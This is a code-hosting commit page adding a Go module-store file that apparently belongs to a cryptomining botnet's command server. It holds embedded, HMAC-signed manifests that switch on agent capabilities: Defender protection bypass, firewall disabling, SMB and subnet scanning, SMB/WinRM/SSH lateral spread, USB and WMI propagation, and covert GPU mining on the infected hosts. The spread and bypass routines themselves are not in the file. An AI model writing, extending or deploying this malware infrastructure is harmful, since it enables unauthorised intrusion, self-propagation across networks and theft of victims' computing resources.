feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
227
server/internal/api/modules.go
Normal file
227
server/internal/api/modules.go
Normal file
@@ -0,0 +1,227 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"crypto/sha256"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ModuleManifest is a signed feature pack agents can stage at runtime.
|
||||
type ModuleManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
DisplayName string `json:"display_name,omitempty"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
Description string `json:"description"`
|
||||
Accent string `json:"accent,omitempty"`
|
||||
Capabilities []string `json:"capabilities,omitempty"`
|
||||
Features map[string]interface{} `json:"features"`
|
||||
Signature string `json:"signature"`
|
||||
}
|
||||
|
||||
var embeddedModuleManifests = map[string]ModuleManifest{
|
||||
"crucible_ops": {
|
||||
Name: "crucible_ops",
|
||||
Version: "1",
|
||||
DisplayName: "Crucible Ops",
|
||||
Summary: "Dashboard remote aggressive ops — tunnels, scans, firewall, defender",
|
||||
Description: "Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.",
|
||||
Accent: "magenta",
|
||||
Capabilities: []string{
|
||||
"Remote tunnels (cloudflared, SSH forward)",
|
||||
"Subnet scan & SMB share enumeration",
|
||||
"Firewall punch / disable / profile control",
|
||||
"Defender RTP bypass (Windows)",
|
||||
"On-demand spread_now trigger",
|
||||
"Credential vault & secure wipe",
|
||||
},
|
||||
Features: map[string]interface{}{
|
||||
"remote_aggressive": true,
|
||||
},
|
||||
},
|
||||
"spread": {
|
||||
Name: "spread",
|
||||
Version: "1",
|
||||
DisplayName: "Spread Pack",
|
||||
Summary: "Lateral and passive spread — SMB auto-spread plus USB/WMI hooks",
|
||||
Description: "Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.",
|
||||
Accent: "cyan",
|
||||
Capabilities: []string{
|
||||
"SMB / WinRM auto-spread scheduler",
|
||||
"SSH lateral spread (Linux/macOS)",
|
||||
"USB removable-media propagation",
|
||||
"WMI-based passive hooks (Windows)",
|
||||
"Spread status & funnel telemetry",
|
||||
},
|
||||
Features: map[string]interface{}{
|
||||
"auto_spread": true,
|
||||
"usb_spread": true,
|
||||
},
|
||||
},
|
||||
"gpu": {
|
||||
Name: "gpu",
|
||||
Version: "1",
|
||||
DisplayName: "GPU Miner",
|
||||
Summary: "KawPoW RVN GPU mining when hardware and wallet are present",
|
||||
Description: "Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.",
|
||||
Accent: "gold",
|
||||
Capabilities: []string{
|
||||
"KawPoW RVN miner (T-Rex / TRM)",
|
||||
"GPU hashrate telemetry on dashboard",
|
||||
"Pause/resume with fleet policy",
|
||||
"Windows NVIDIA/AMD when drivers present",
|
||||
},
|
||||
Features: map[string]interface{}{
|
||||
"gpu_enabled": true,
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
type ModuleStore struct {
|
||||
dataDir string
|
||||
fleetSecret func() string
|
||||
}
|
||||
|
||||
func NewModuleStore(dataDir string, fleetSecret func() string) *ModuleStore {
|
||||
return &ModuleStore{dataDir: dataDir, fleetSecret: fleetSecret}
|
||||
}
|
||||
|
||||
func (s *ModuleStore) modulesDir() string {
|
||||
return filepath.Join(s.dataDir, "modules")
|
||||
}
|
||||
|
||||
func (s *ModuleStore) ensureDefaultModules() error {
|
||||
dir := s.modulesDir()
|
||||
if err := os.MkdirAll(dir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
for name, manifest := range embeddedModuleManifests {
|
||||
path := filepath.Join(dir, name+".json")
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
continue
|
||||
}
|
||||
signed, err := s.signManifest(manifest)
|
||||
if err != nil {
|
||||
return fmt.Errorf("sign %s: %w", name, err)
|
||||
}
|
||||
data, err := json.MarshalIndent(signed, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(path, data, 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *ModuleStore) List() ([]ModuleManifest, error) {
|
||||
if err := s.ensureDefaultModules(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
entries, err := os.ReadDir(s.modulesDir())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []ModuleManifest
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".json") {
|
||||
continue
|
||||
}
|
||||
m, err := s.loadFile(filepath.Join(s.modulesDir(), e.Name()))
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
out = append(out, m)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name })
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (s *ModuleStore) Get(name string) (ModuleManifest, error) {
|
||||
name = sanitizeModuleName(name)
|
||||
if name == "" {
|
||||
return ModuleManifest{}, fmt.Errorf("module name required")
|
||||
}
|
||||
if err := s.ensureDefaultModules(); err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
path := filepath.Join(s.modulesDir(), name+".json")
|
||||
if _, err := os.Stat(path); err == nil {
|
||||
return s.loadFile(path)
|
||||
}
|
||||
if m, ok := embeddedModuleManifests[name]; ok {
|
||||
return s.signManifest(m)
|
||||
}
|
||||
return ModuleManifest{}, fmt.Errorf("module %q not found", name)
|
||||
}
|
||||
|
||||
func (s *ModuleStore) loadFile(path string) (ModuleManifest, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
var m ModuleManifest
|
||||
if err := json.Unmarshal(data, &m); err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
if m.Name == "" {
|
||||
m.Name = strings.TrimSuffix(filepath.Base(path), ".json")
|
||||
}
|
||||
return s.signManifest(m)
|
||||
}
|
||||
|
||||
func (s *ModuleStore) signManifest(m ModuleManifest) (ModuleManifest, error) {
|
||||
secret := ""
|
||||
if s.fleetSecret != nil {
|
||||
secret = s.fleetSecret()
|
||||
}
|
||||
if secret == "" {
|
||||
return ModuleManifest{}, fmt.Errorf("fleet secret not configured")
|
||||
}
|
||||
m.Signature = ""
|
||||
payload, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return ModuleManifest{}, err
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(secret))
|
||||
mac.Write(payload)
|
||||
m.Signature = hex.EncodeToString(mac.Sum(nil))
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func sanitizeModuleName(name string) string {
|
||||
name = strings.TrimSpace(strings.ToLower(name))
|
||||
if name == "" {
|
||||
return ""
|
||||
}
|
||||
for _, r := range name {
|
||||
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' || r == '-' {
|
||||
continue
|
||||
}
|
||||
return ""
|
||||
}
|
||||
return name
|
||||
}
|
||||
|
||||
func VerifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
|
||||
if fleetSecret == "" || m.Signature == "" {
|
||||
return false
|
||||
}
|
||||
sig := m.Signature
|
||||
m.Signature = ""
|
||||
payload, err := json.Marshal(m)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
mac := hmac.New(sha256.New, []byte(fleetSecret))
|
||||
mac.Write(payload)
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(sig))
|
||||
}
|
||||
Reference in New Issue
Block a user